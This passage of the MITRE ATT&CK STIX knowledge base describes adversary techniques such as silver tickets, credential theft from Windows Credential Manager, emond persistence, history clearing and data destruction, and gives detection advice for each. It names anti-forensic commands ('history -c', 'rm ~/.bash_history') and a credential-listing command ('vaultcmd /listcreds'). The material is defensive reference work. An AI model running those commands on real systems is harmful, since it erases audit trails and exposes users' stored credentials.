[Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","type":"attack-pattern","created":"2020-02-11T19:14:48.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.002","url":"https://attack.mitre.org/techniques/T1558/002"},{"source_name":"ADSecurity Silver Tickets","url":"https://adsecurity.org/?p=2011","description":"Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020."},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"},{"description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","source_name":"Medium Detecting Attempts to Steal Passwords from Memory"}],"modified":"2020-03-25T21:46:46.831Z","name":"Silver Ticket","description":"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS","SaaS","Office 365","Google Workspace","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)","Regina Elwell","Praetorian","Milos Stojadinovic","Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"3.2","external_references":[{"source_name":"mitre-attack","external_id":"T1213","url":"https://attack.mitre.org/techniques/T1213"},{"source_name":"Atlassian Confluence Logging","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018."},{"source_name":"Microsoft SharePoint Logging","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018."},{"source_name":"Sharepoint Sharing Events","url":"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events","description":"Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.","modified":"2022-04-11T22:28:36.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data from Information Repositories","x_mitre_detection":"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d3046a90-580c-4004-8208-66915bc29830","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1146","external_id":"T1146"}],"modified":"2020-01-31T12:32:52.281Z","name":"Clear Command History","description":"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Log analysis","Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bernaldo Penas Antelo","Mugdha Peter Bansode"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","type":"attack-pattern","created":"2020-11-23T15:35:53.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1555.004","url":"https://attack.mitre.org/techniques/T1555/004"},{"source_name":"Microsoft Credential Manager store","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store","description":"Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020."},{"source_name":"Microsoft Credential Locker","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN","description":"Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020."},{"source_name":"passcape Windows Vault","url":"https://www.passcape.com/windows_password_recovery_vault_explorer","description":"Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020."},{"source_name":"Malwarebytes The Windows Vault","url":"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ","description":"Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020."},{"source_name":"Microsoft CredEnumerate","url":"https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea","description":"Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020."},{"source_name":"Delpy Mimikatz Crendential Manager","url":"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials","description":"Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020."}],"modified":"2021-04-29T21:00:18.973Z","name":"Windows Credential Manager","description":"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted <code>.vcrd</code> files, located under <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as <code>CredEnumerateA</code> to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Access","Process: OS API Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753","type":"attack-pattern","created":"2019-09-19T14:07:11.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1519","url":"https://attack.mitre.org/techniques/T1519"},{"source_name":"xorrior emond Jan 2018","url":"https://www.xorrior.com/emond-persistence/","description":"Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."},{"source_name":"magnusviri emond Apr 2016","url":"http://www.magnusviri.com/Mac/what-is-emond.html","description":"Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"modified":"2020-01-24T15:15:44.006Z","name":"Emond","description":"Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1194","external_id":"T1194"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"}],"modified":"2020-03-02T19:30:53.487Z","name":"Spearphishing via Service","description":"Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1200","url":"https://attack.mitre.org/techniques/T1200"},{"source_name":"Ossmann Star Feb 2011","url":"https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html","description":"Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018."},{"source_name":"Aleks Weapons Nov 2015","url":"https://www.youtube.com/watch?v=lDvf4ScWbcQ","description":"Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018."},{"source_name":"McMillan Pwn March 2012","url":"https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/","description":"Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018."},{"source_name":"Frisk DMA August 2016","url":"https://www.youtube.com/watch?v=fXthwl6ShOg","description":"Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018."},{"url":"https://capec.mitre.org/data/definitions/440.html","source_name":"capec","external_id":"CAPEC-440"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)","modified":"2022-04-19T17:12:28.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Hardware Additions","x_mitre_detection":"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","type":"attack-pattern","created":"2019-06-28T17:52:07.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505","url":"https://attack.mitre.org/techniques/T1505"},{"url":"https://www.us-cert.gov/ncas/alerts/TA15-314A","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","source_name":"US-CERT Alert TA15-314A Web Shells"}],"modified":"2022-04-01T17:11:00.534Z","name":"Server Software Component","description":"Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Application Log: Application Log Content","File: File Modification","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM","root"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic","Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee ","Varonis Threat Labs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","type":"attack-pattern","created":"2019-03-14T18:47:17.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1485","url":"https://attack.mitre.org/techniques/T1485"},{"description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","source_name":"Symantec Shamoon 2012"},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"Kaspersky StoneDrill 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"Data Destruction - Threat Post","url":"https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/","description":"Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020."},{"source_name":"DOJ  - Cisco Insider","url":"https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network","description":"DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020."}],"modified":"2021-03-25T14:47:48.728Z","name":"Data Destruction","description":"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\\Windows\\System32\\</code>.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Image: Image Deletion","Volume: Volume Deletion","File: File Deletion","Cloud Storage: Cloud Storage Deletion","Snapshot: Snapshot Deletion","Instance: Instance Deletion","File: File Modification","Process: Process Creation","Command: Command 